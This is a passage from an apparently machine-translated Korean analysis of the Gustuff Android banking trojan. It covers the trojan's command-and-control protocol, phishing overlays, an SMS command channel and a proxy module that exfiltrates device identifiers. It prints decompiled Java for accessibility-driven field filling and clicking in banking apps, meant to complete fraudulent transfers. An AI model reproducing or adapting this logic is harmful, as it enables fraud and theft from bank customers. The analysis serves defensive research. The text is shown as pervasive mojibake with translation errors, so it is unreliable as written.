๋ณ๊ฒฝ์์นด์ด๋ธ | ์ ํ๋ฆฌ์ผ์ด์ ์ "url" ํค๋ฅผ ์ฌ์ฉํ์ฌ ๋งค๊ฐ๋ณ์๋ก ์ ๊ณต๋๋ ์ฃผ์์์ ํ์ผ์ ๋ค์ด๋ก๋ํฉ๋๋ค. ๋ค์ด๋ก๋ํ ํ์ผ์ โarchive.zipโ์ด๋ผ๋ ์ด๋ฆ์ผ๋ก ์ ์ฅ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ํ์ ์ผ๋ก ์์นด์ด๋ธ ๋น๋ฐ๋ฒํธ "b5jXh37gxgHBrZhQ4j3D"๋ฅผ ์ฌ์ฉํ์ฌ ํ์ผ์ ์์ถ์ ํ๋๋ค. ์์ถ์ด ํ๋ฆฐ ํ์ผ์ [์ธ๋ถ์ ์ฅ์]/hgps ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ๋ฉ๋๋ค. ์ด ๋๋ ํฐ๋ฆฌ์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์น ๊ฐ์ง๋ฅผ ์ ์ฅํฉ๋๋ค(์๋ ์ค๋ช ์ฐธ์กฐ). |
ํ์ | ์ด ๋ช ๋ น์ ๋ณ๋์ ์น์ ์์ ์ค๋ช ํ๋ ์์ ์๋น์ค์ ํจ๊ป ์๋ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. |
test | ์๋ฌด๊ฒ๋ํ์ง ์๊ณ . |
๋ค์ด๋ก๋ | ์ด ๋ช ๋ น์ ์๊ฒฉ ์๋ฒ์์ ํ์ผ์ ๋ค์ด๋ก๋ํ์ฌ "๋ค์ด๋ก๋" ๋๋ ํฐ๋ฆฌ์ ์ ์ฅํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค. URL๊ณผ ํ์ผ ์ด๋ฆ์ ๊ฐ๊ฐ JSON ๋งค๊ฐ๋ณ์ ๊ฐ์ฒด์ ๋งค๊ฐ๋ณ์ ํ๋์ธ "url" ๋ฐ "fileName"์ผ๋ก ์ ๊ณต๋ฉ๋๋ค. |
์ ๊ฑฐ | "๋ค์ด๋ก๋" ๋๋ ํฐ๋ฆฌ์์ ํ์ผ์ ์ ๊ฑฐํฉ๋๋ค. ํ์ผ ์ด๋ฆ์ "fileName" ํค๊ฐ ์๋ JSON ๋งค๊ฐ๋ณ์๋ก ์ ๊ณต๋ฉ๋๋ค. ํ์ค ํ์ผ ์ด๋ฆ์ โtmp.apkโ์ ๋๋ค. |
๊ณต๊ณ | ๊ด๋ฆฌ ์๋ฒ์์ ์ ์ํ ์ค๋ช ๋ฐ ์ ๋ชฉ ํ ์คํธ๊ฐ ํฌํจ๋ ์๋ฆผ์ ํ์ํฉ๋๋ค. |
๋ช ๋ น ํ์ ๊ณต๊ณ :
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
์กฐ์ฌ ์ค์ธ ํ์ผ์์ ์์ฑ๋ ์๋ฆผ์ ํ๋์ ์ง์ ๋ ์ ํ๋ฆฌ์ผ์ด์ ์์ ์์ฑ๋ ์๋ฆผ๊ณผ ๋์ผํด ๋ณด์ ๋๋ค. ์ฑ. ํ๋ ๊ฐ์ธ ๊ฒฝ์ฐ ์คํ์ฑ โ True, ์๋ฆผ์ด ์ด๋ฆฌ๋ฉด ํ๋์ ์ง์ ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ด ์์๋ฉ๋๋ค. ์ฑ. ํ๋ ๊ฐ์ธ ๊ฒฝ์ฐ ์คํ์ฑ โ ๊ฑฐ์ง์ด๋ฉด:
- ํผ์ฑ ์ฐฝ์ด ์ด๋ฆฌ๊ณ ๊ทธ ๋ด์ฉ์ ๋๋ ํฐ๋ฆฌ์์ ๋ค์ด๋ก๋๋ฉ๋๋ค. <%์ธ๋ถ ์ ์ฅ์%>/hgps/<%ํ์ผ ์ด๋ฆ%>
- ํผ์ฑ ์ฐฝ์ด ์ด๋ฆฌ๊ณ ๊ทธ ๋ด์ฉ์ ์๋ฒ์์ ๋ค์ด๋ก๋๋ฉ๋๋ค. <%url%>?id=<%Bot id%>&app=<%์ ํ๋ฆฌ์ผ์ด์ ์ด๋ฆ%>
- Google Play ์นด๋๋ก ์์ฅํ ํผ์ฑ ์ฐฝ์ด ์ด๋ฆฌ๊ณ ์นด๋ ์ธ๋ถ์ ๋ณด๋ฅผ ์ ๋ ฅํ ์ ์์ต๋๋ค.
์ ํ๋ฆฌ์ผ์ด์ ์ ๋ช ๋ น์ ๊ฒฐ๊ณผ๋ฅผ ๋ค์์ผ๋ก ๋ณด๋ ๋๋ค. <%CnC%>set_state.php ๋ค์ ํ์์ JSON ๊ฐ์ฒด๋ก:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
์์
์๋น์ค
์ ํ๋ฆฌ์ผ์ด์
์ด ์ฒ๋ฆฌํ๋ ๋ช
๋ น ๋ชฉ๋ก ๋์. ๋ช
๋ น์ด ์์ ๋๋ฉด ๋ช
๋ น ์ฒ๋ฆฌ ๋ชจ๋์ ์ด ์๋น์ค์ ์ก์ธ์คํ์ฌ ํ์ฅ ๋ช
๋ น์ ์คํํฉ๋๋ค. ์๋น์ค๋ JSON ๊ฐ์ฒด๋ฅผ ๋งค๊ฐ๋ณ์๋ก ํ์ฉํฉ๋๋ค. ์๋น์ค๋ ๋ค์ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
1. PARAMS_ACTION โ ์ด๋ฌํ ๋ช ๋ น์ ์์ ํ ๋ ์๋น์ค๋ ๋จผ์ JSON ๋งค๊ฐ๋ณ์๋ก๋ถํฐ ๋ค์๊ณผ ๊ฐ์ Type ํค ๊ฐ์ ์์ ํฉ๋๋ค.
- ์๋น์ค์ ๋ณด โ ํ์ ๋ช ๋ น์ JSON ๋งค๊ฐ๋ณ์์์ ํค๋ก ๊ฐ์ ๊ฐ์ ธ์ต๋๋ค. ์ค์ํ์ง ์์. ํ๋๊ทธ๊ฐ True์ด๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ํ๋๊ทธ๋ฅผ ์ค์ ํฉ๋๋ค. FLAG_ISOLATED_PROCESS ์ ๊ทผ์ฑ ์๋น์ค๋ฅผ ์ฌ์ฉํ๋ ์๋น์ค์. ์ด๋ ๊ฒ ํ๋ฉด ์๋น์ค๊ฐ ๋ณ๋์ ํ๋ก์ธ์ค๋ก ์์๋ฉ๋๋ค.
- ๋ฟ๋ฆฌ โ ํ์ฌ ์ด์ ์ด ๋ง์ถฐ์ ธ ์๋ ์ฐฝ์ ๋ํ ์ ๋ณด๋ฅผ ๋ฐ๊ณ ์๋ฒ๋ก ๋ณด๋ ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ AccessibilityNodeInfo ํด๋์ค๋ฅผ ์ฌ์ฉํ์ฌ ์ ๋ณด๋ฅผ ์ป์ต๋๋ค.
- ๊ด๋ฆฌ์ โ ๊ด๋ฆฌ์ ๊ถํ์ ์์ฒญํฉ๋๋ค.
- ์ง์ฐ โ "data" ํค์ ๋งค๊ฐ๋ณ์์ ์ง์ ๋ ๋ฐ๋ฆฌ์ด ๋์ ActionsService๋ฅผ ์ผ์ ์ค์งํฉ๋๋ค.
- ์ฐฝ โ ์ฌ์ฉ์์๊ฒ ํ์๋๋ ์ฐฝ ๋ชฉ๋ก์ ๋ณด๋ ๋๋ค.
- ์ค์น โ ๊ฐ์ผ๋ ์ฅ์น์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ค์นํฉ๋๋ค. ์์นด์ด๋ธ ํจํค์ง์ ์ด๋ฆ์ "fileName" ํค์ ์์ต๋๋ค. ์์นด์ด๋ธ ์์ฒด๋ ๋ค์ด๋ก๋ ๋๋ ํฐ๋ฆฌ์ ์์ต๋๋ค.
- ๊ธ๋ก๋ฒ โ ํ์ ๋ช
๋ น์ ํ์ฌ ์ฐฝ์์ ํ์ํ๊ธฐ ์ํ ๊ฒ์
๋๋ค.
- ๋น ๋ฅธ ์ค์ ๋ฉ๋ด์์
- ์
- ์ง
- ์๋ฆผ์
- ์ต๊ทผ์ ์ด๋ฆฐ ์์ฉ ํ๋ก๊ทธ๋จ ์ฐฝ์ผ๋ก
- ์์ - ์์ฉ ํ๋ก๊ทธ๋จ์ ์คํํฉ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ด๋ฆ์ ํค๋ณ๋ก ๋งค๊ฐ๋ณ์๋ก ์ ๊ณต๋ฉ๋๋ค. ๋ฐ์ดํฐ.
- ์๋ฆฌ โ ์ฌ์ด๋ ๋ชจ๋๋ฅผ ๋ฌด์์ผ๋ก ๋ณ๊ฒฝํฉ๋๋ค.
- ์ ๊ธ์ ํด์ โ ํ๋ฉด๊ณผ ํค๋ณด๋์ ๋ฐฑ๋ผ์ดํธ๋ฅผ ์ต๋ ๋ฐ๊ธฐ๋ก ์ผญ๋๋ค. ์ ํ๋ฆฌ์ผ์ด์ ์ WakeLock์ ์ฌ์ฉํ์ฌ [Application lable]:INFO ๋ฌธ์์ด์ ํ๊ทธ๋ก ์ง์ ํ์ฌ ์ด ์์ ์ ์ํํฉ๋๋ค.
- ํ๊ฐ์ค๋ฒ๋ ์ด โ ๊ธฐ๋ฅ์ด ๊ตฌํ๋์ง ์์์ต๋๋ค(๋ช ๋ น ์คํ์ ๋ํ ์๋ต์ {"message":"Not support"} ๋๋ {"message":"low sdk"}์ ๋๋ค).
- ๋ชธ์ง โ ๊ธฐ๋ฅ์ด ๊ตฌํ๋์ง ์์์ต๋๋ค(๋ช ๋ น ์คํ์ ๋ํ ์๋ต์ {"message":"Not support"}๋๋ {"message":"Low API"}์ ๋๋ค).
- ๊ถํ โ ์ด ๋ช
๋ น์ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ํ ๊ถํ์ ์์ฒญํ๋ ๋ฐ ํ์ํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ฟผ๋ฆฌ ๊ธฐ๋ฅ์ด ๊ตฌํ๋์ด ์์ง ์์ ๋ช
๋ น์ด์ ์๋ฏธ๊ฐ ์์ต๋๋ค. ์์ฒญ๋ ๊ถํ ๋ชฉ๋ก์ "๊ถํ" ํค๊ฐ ํฌํจ๋ JSON ๋ฐฐ์ด๋ก ์ ๊ณต๋ฉ๋๋ค. ํ์ค ๋ชฉ๋ก:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- ์ด ์ โ ํผ์ฑ ์ฐฝ์ ํ์ํฉ๋๋ค. ์๋ฒ์์ ์ ๊ณต๋๋ ๋งค๊ฐ๋ณ์์ ๋ฐ๋ผ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ค์๊ณผ ๊ฐ์ ํผ์ฑ ์ฐฝ์ด ํ์๋ ์ ์์ต๋๋ค.
- ๋๋ ํฐ๋ฆฌ์ ํ์ผ์ ๋ด์ฉ์ด ๊ธฐ๋ก๋ ํผ์ฑ ์ฐฝ ํ์ <%์ธ๋ถ ๋๋ ํฐ๋ฆฌ%>/hgps/<%param_filename%>. ์ฐฝ๊ณผ ์ฌ์ฉ์ ์ํธ ์์ฉ์ ๊ฒฐ๊ณผ๋ ๋ค์์ผ๋ก ์ ์ก๋ฉ๋๋ค. <%CnC%>/records.php
- ์ฃผ์์์ ์ฝํ ์ธ ๊ฐ ๋ฏธ๋ฆฌ ๋ก๋๋ ํผ์ฑ ์ฐฝ ํ์ <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ์ฐฝ๊ณผ ์ฌ์ฉ์ ์ํธ ์์ฉ์ ๊ฒฐ๊ณผ๋ ๋ค์์ผ๋ก ์ ์ก๋ฉ๋๋ค. <%CnC%>/records.php
- Google Play ์นด๋๋ก ์์ฅํ ํผ์ฑ ์ฐฝ์ ํ์ํฉ๋๋ค.
- ๋ํํ โ ์ด ๋ช
๋ น์ AcessibilityService๋ฅผ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์์ฉ ํ๋ก๊ทธ๋จ์ ์ฐฝ ์์์ ์ํธ ์์ฉํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ์ํธ ์์ฉ์ ์ํด ํ๋ก๊ทธ๋จ์ ํน๋ณ ์๋น์ค๊ฐ ๊ตฌํ๋์์ต๋๋ค. ์กฐ์ฌ ์ค์ธ ์ ํ๋ฆฌ์ผ์ด์
์ ์ฐฝ๊ณผ ์ํธ ์์ฉํ ์ ์์ต๋๋ค.
- ํ์ฌ ํ๋ ์ค์ ๋๋ค. ์ด ๊ฒฝ์ฐ ๋งค๊ฐ๋ณ์์๋ ์ํธ์์ฉํด์ผ ํ๋ ๊ฐ์ฒด์ ID ๋๋ ํ ์คํธ(์ด๋ฆ)๊ฐ ํฌํจ๋ฉ๋๋ค.
- ๋ช ๋ น์ด ์คํ๋ ๋ ์ฌ์ฉ์์๊ฒ ํ์๋ฉ๋๋ค. ์์ฉ ํ๋ก๊ทธ๋จ์ ID๋ณ๋ก ์ฐฝ์ ์ ํํฉ๋๋ค.
๋ฌผ๊ฑด์ ๋ฐ์ ํ ์ ๊ทผ์ฑ๋ ธ๋์ ๋ณด ๊ด์ฌ ์๋ ์ฐฝ ์์์ ๊ฒฝ์ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋งค๊ฐ๋ณ์์ ๋ฐ๋ผ ๋ค์ ์์ ์ ์ํํ ์ ์์ต๋๋ค.
- focus โ ๊ฐ์ฒด์ ํฌ์ปค์ค๋ฅผ ์ค์ ํฉ๋๋ค.
- ํด๋ฆญ - ๊ฐ์ฒด๋ฅผ ํด๋ฆญํฉ๋๋ค.
- actionId โ ID๋ก ์์ ์ ์ํํฉ๋๋ค.
- setText โ ๊ฐ์ฒด์ ํ ์คํธ๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค. ํ ์คํธ ๋ณ๊ฒฝ์ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก ๊ฐ๋ฅํฉ๋๋ค: ์์ ์ํ ACTION_SET_TEXT (๊ฐ์ผ๋ ์ฅ์น์ Android ๋ฒ์ ์ด ๋ค์ ๋ฒ์ ๋ณด๋ค ๋ฎ๊ฑฐ๋ ๊ฐ์ ๊ฒฝ์ฐ ์ฌํ ๊ณผ์) ๋๋ ํด๋ฆฝ๋ณด๋์ ๋ฌธ์์ด์ ๋ฐฐ์นํ๊ณ ๊ฐ์ฒด์ ๋ถ์ฌ๋ฃ๋ ๋ฐฉ๋ฒ(์ด์ ๋ฒ์ ์ ๊ฒฝ์ฐ)์ด ์์ต๋๋ค. ์ด ๋ช ๋ น์ ๋ฑ ํน ์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
2. PARAMS_ACTIONS - ๊ฐ์ PARAMS_ACTION, ๋ช ๋ น์ JSON ๋ฐฐ์ด๋ง ๋์ฐฉํฉ๋๋ค.
๋ง์ ์ฌ๋๋ค์ด ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฐฝ ์์์ ์ํธ ์์ฉํ๋ ๊ธฐ๋ฅ์ด ์ด๋ค ๊ฒ์ธ์ง์ ๊ด์ฌ์ ๊ฐ์ง ๊ฒ ๊ฐ์ต๋๋ค. Gustuff์์ ์ด ๊ธฐ๋ฅ์ ๊ตฌํํ๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
ํ ์คํธ ๊ต์ฒด ๊ธฐ๋ฅ:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
๋ฐ๋ผ์ ์ ์ด ์๋ฒ๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ๊ตฌ์ฑํ๋ฉด Gustuff๋ ๋ฑ ํน ์ ํ๋ฆฌ์ผ์ด์ ์ ํ ์คํธ ํ๋๋ฅผ ์ ๋ ฅํ๊ณ ๊ฑฐ๋๋ฅผ ์๋ฃํ๋ ๋ฐ ํ์ํ ๋ฒํผ์ ํด๋ฆญํ ์ ์์ต๋๋ค. ํธ๋ก์ด ๋ชฉ๋ง๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ก๊ทธ์ธํ ํ์์กฐ์ฐจ ์์ต๋๋ค. PUSH ์๋ฆผ์ ํ์ํ๋ ๋ช ๋ น์ ๋ณด๋ธ ๋ค์ ์ด์ ์ ์ค์น๋ ๋ฑ ํน ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ๋ ๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํฉ๋๋ค. ์ฌ์ฉ์๋ ์์ ์ ์ธ์ฆํ ํ Gustuff๊ฐ ์ฐจ๋์ ์ฑ์ธ ์ ์์ต๋๋ค.
SMS ๋ฉ์์ง ์ฒ๋ฆฌ ๋ชจ๋
์ ํ๋ฆฌ์ผ์ด์ ์ ๊ฐ์ผ๋ ์ฅ์น๊ฐ SMS ๋ฉ์์ง๋ฅผ ์์ ํ ์ ์๋๋ก ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ค์นํฉ๋๋ค. ์ฐ๊ตฌ ์ค์ธ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ด์์๋ก๋ถํฐ SMS ๋ฉ์์ง ๋ณธ๋ฌธ์ ํฌํจ๋ ๋ช ๋ น์ ๋ฐ์ ์ ์์ต๋๋ค. ๋ช ๋ น์ ๋ค์ ํ์์ผ๋ก ์ ๊ณต๋ฉ๋๋ค.
7!5=<%Base64๋ก ์ธ์ฝ๋ฉ๋ ๋ช ๋ น%>
์ ํ๋ฆฌ์ผ์ด์ ์ ์์ ๋๋ ๋ชจ๋ SMS ๋ฉ์์ง์์ ๋ฌธ์์ด์ ๊ฒ์ํฉ๋๋ค. 7!5=, ๋ฌธ์์ด์ด ๊ฐ์ง๋๋ฉด ์คํ์ 64์์ Base4์ ๋ฌธ์์ด์ ๋์ฝ๋ฉํ๊ณ ๋ช ๋ น์ ์คํํฉ๋๋ค. ๋ช ๋ น์ CnC์ ๋ช ๋ น๊ณผ ์ ์ฌํฉ๋๋ค. ์คํ ๊ฒฐ๊ณผ๋ ๋ช ๋ น์ด ๋์จ ๊ฒ๊ณผ ๋์ผํ ๋ฒํธ๋ก ์ ์ก๋ฉ๋๋ค. ์๋ต ํ์:
7*5=<%โresult_code ๋ช ๋ นโ์ Base64 ์ธ์ฝ๋ฉ%>
์ ํ์ ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ ๋ ๋ชจ๋ ๋ฉ์์ง๋ฅผ ๋ฃจํธ ๋ฒํธ๋ก ๋ณด๋ผ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ ค๋ฉด ๊ธฐ๋ณธ ์ค์ ํ์ผ์ ๋ฃจํธ ๋ฒํธ๋ฅผ ์ง์ ํ๊ณ ๋ฉ์์ง ๋ฆฌ๋๋ ์ ํ๋๊ทธ๋ฅผ ์ค์ ํด์ผ ํฉ๋๋ค. SMS ๋ฉ์์ง๋ ๋ค์ ํ์์ผ๋ก ๊ณต๊ฒฉ์์ ๋ฒํธ๋ก ์ ์ก๋ฉ๋๋ค.
<%From number%> - <%Time, ํ์: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
๋ํ ์ ํ์ ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ด CnC์ ๋ฉ์์ง๋ฅผ ๋ณด๋ผ ์๋ ์์ต๋๋ค. SMS ๋ฉ์์ง๋ JSON ํ์์ผ๋ก ์๋ฒ์ ์ ์ก๋ฉ๋๋ค.
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
ํ๋๊ทธ๊ฐ ์ค์ ๋ ๊ฒฝ์ฐ nameGenerator("DEFAULT_APP_SMS") โ ์ ํ๋ฆฌ์ผ์ด์ ์ด SMS ๋ฉ์์ง ์ฒ๋ฆฌ๋ฅผ ์ค์งํ๊ณ ์์ ๋ฉ์์ง ๋ชฉ๋ก์ ์ง์๋๋ค.
ํ๋ก์ ๋ชจ๋
์ฐ๊ตฌ ์ค์ธ ์ ํ๋ฆฌ์ผ์ด์ ์๋ ๊ตฌ์ฑ์ด ํฌํจ๋ ์ ์ ํ๋๋ฅผ ํฌํจํ๋ ๋ณ๋์ ํด๋์ค๊ฐ ์๋ Backconnect ํ๋ก์ ๋ชจ๋(์ดํ ํ๋ก์ ๋ชจ๋์ด๋ผ๊ณ ํจ)์ด ํฌํจ๋์ด ์์ต๋๋ค. ๊ตฌ์ฑ ๋ฐ์ดํฐ๋ ์ํ์ ๋ช ํํ ํ์์ผ๋ก ์ ์ฅ๋ฉ๋๋ค.
ํ๋ก์ ๋ชจ๋์์ ์ํ๋๋ ๋ชจ๋ ์์ ์ ํ์ผ์ ๊ธฐ๋ก๋ฉ๋๋ค. ์ด๋ฅผ ์ํด ์ธ๋ถ ์ ์ฅ์์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ก๊ทธ ํ์ผ์ด ์ ์ฅ๋๋ "logs"(๊ตฌ์ฑ ํด๋์ค์ ProxyConfigClass.logsDir ํ๋)๋ผ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ์์ฑํฉ๋๋ค. ๋ก๊น ์ ์ด๋ฆ์ด ๋ค์๊ณผ ๊ฐ์ ํ์ผ์์ ๋ฐ์ํฉ๋๋ค.
- main.txt โ CommandServer๋ผ๋ ํด๋์ค์ ์์ ์ด ์ด ํ์ผ์ ๊ธฐ๋ก๋ฉ๋๋ค. ๋ค์์์๋ str ๋ฌธ์์ด์ ์ด ํ์ผ์ ๊ธฐ๋กํ๋ ๊ฒ์ด mainLog(str)๋ก ํ์๋ฉ๋๋ค.
- ์ธ์ -<%id%>.txt โ ์ด ํ์ผ์ ํน์ ํ๋ก์ ์ธ์ ๊ณผ ๊ด๋ จ๋ ๋ก๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํฉ๋๋ค. ๋ค์์์๋ ๋ฌธ์์ด str์ ์ด ํ์ผ์ ๊ธฐ๋กํ๋ ๊ฒ์ด sessionLog(str)๋ก ํ์๋ฉ๋๋ค.
- ์๋ฒ.txt โ ์ด ํ์ผ์ ์์์ ์ค๋ช ํ ํ์ผ์ ๊ธฐ๋ก๋ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ๊ธฐ๋กํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
๋ก๊ทธ ๋ฐ์ดํฐ ํ์:
<%Date%> [์ค๋ ๋[<%thread id%>], id[]]: ๋ก๊ทธ ๋ฌธ์์ด
Proxy ๋ชจ๋ ๋์ ์ค ๋ฐ์ํ๋ ์์ธ ์ฌํญ๋ ํ์ผ์ ๊ธฐ๋ก๋ฉ๋๋ค. ์ด๋ฅผ ์ํด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์ ํ์์ผ๋ก JSON ๊ฐ์ฒด๋ฅผ ์์ฑํฉ๋๋ค.
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
๊ทธ๋ฐ ๋ค์ ์ด๋ฅผ ๋ฌธ์์ด ํํ์ผ๋ก ๋ณํํ๊ณ ๊ธฐ๋กํฉ๋๋ค.
ํด๋น ๋ช ๋ น์ ๋ฐ์ ํ ํ๋ก์ ๋ชจ๋์ด ์์๋ฉ๋๋ค. ํ๋ก์ ๋ชจ๋์ ์์ํ๋ ๋ช ๋ น์ด ์์ ๋๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์๊ณผ ๊ฐ์ ์๋น์ค๋ฅผ ์์ํฉ๋๋ค. ๋ฉ์ธ์๋น์ค, ํ๋ก์ ๋ชจ๋์ ์๋ ๊ด๋ฆฌ(์์ ๋ฐ ์ค์ง)๋ฅผ ๋ด๋นํฉ๋๋ค.
์๋น์ค ์์ ๋จ๊ณ:
1. XNUMX๋ถ์ ํ ๋ฒ์ฉ ์คํ๋๋ ํ์ด๋จธ๋ฅผ ์์ํ๊ณ ํ๋ก์ ๋ชจ๋์ ํ๋์ ํ์ธํฉ๋๋ค. ๋ชจ๋์ด ํ์ฑํ๋์ด ์์ง ์์ผ๋ฉด ๋ชจ๋์ด ์์๋ฉ๋๋ค.
๋ํ ์ด๋ฒคํธ๊ฐ ๋ฐ์ํ๋ฉด android.net.conn.CONNECTIVITY_CHANGE ํ๋ก์ ๋ชจ๋์ด ์์๋ฉ๋๋ค.
2. ์ ํ๋ฆฌ์ผ์ด์ ์ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ wake-lock์ ์์ฑํฉ๋๋ค. PARTIAL_WAKE_LOCK ๊ทธ๋ฅผ ๋ถ์ก์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ฅ์น CPU๊ฐ ์ ์ ๋ชจ๋๋ก ์ ํ๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
3. ๋จผ์ ๋ผ์ธ์ ๋ก๊น ํ์ฌ ํ๋ก์ ๋ชจ๋์ ๋ช ๋ น ์ฒ๋ฆฌ ํด๋์ค๋ฅผ ์์ํฉ๋๋ค. mainLog("์๋ฒ ์์") ะธ
์๋ฒ::start() ํธ์คํธ[<%proxy_cnc%>], commandPort[<%command_port%>], ProxyPort[<%proxy_port%>]
์ด๋์์ Proxy_cnc, command_port ๋ฐ Proxy_port โ ํ๋ก์ ์๋ฒ ๊ตฌ์ฑ์์ ์ป์ ๋งค๊ฐ๋ณ์์ ๋๋ค.
๋ช ๋ น ์ฒ๋ฆฌ ํด๋์ค๋ฅผ ํธ์ถํฉ๋๋ค. ๋ช ๋ น์ฐ๊ฒฐ. ์์ ํ ์ฆ์ ๋ค์ ์์ ์ ์ํํฉ๋๋ค.
4. ์ฐ๊ฒฐ ๋์ ProxyConfigClass.host: ProxyConfigClass.commandPort ๊ฐ์ผ๋ ์ฅ์น์ ๋ํ ๋ฐ์ดํฐ๋ฅผ JSON ํ์์ผ๋ก ๋ณด๋ ๋๋ค.
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
์ฅ์ :
- id โ ์๋ณ์๋ "x"๋ผ๋ ๊ณต์ ๊ธฐ๋ณธ ์ค์ ํ์ผ์์ "id" ํ๋๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ์ ๊ฐ์ ธ์ค๋ ค๊ณ ํฉ๋๋ค. ์ด ๊ฐ์ ์ป์ ์ ์์ผ๋ฉด ์ ๊ฐ์ ์์ฑํฉ๋๋ค. ๋ฐ๋ผ์ ํ๋ก์ ๋ชจ๋์๋ Bot ID์ ์ ์ฌํ๊ฒ ์์ฑ๋๋ ์์ฒด ์๋ณ์๊ฐ ์์ต๋๋ค.
- imei โ ์ฅ์น์ IMEI์ ๋๋ค. ๊ฐ์ ๊ฐ์ ธ์ค๋ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๊ฒฝ์ฐ ์ด ํ๋ ๋์ ์ค๋ฅ ํ ์คํธ ๋ฉ์์ง๊ฐ ๊ธฐ๋ก๋ฉ๋๋ค.
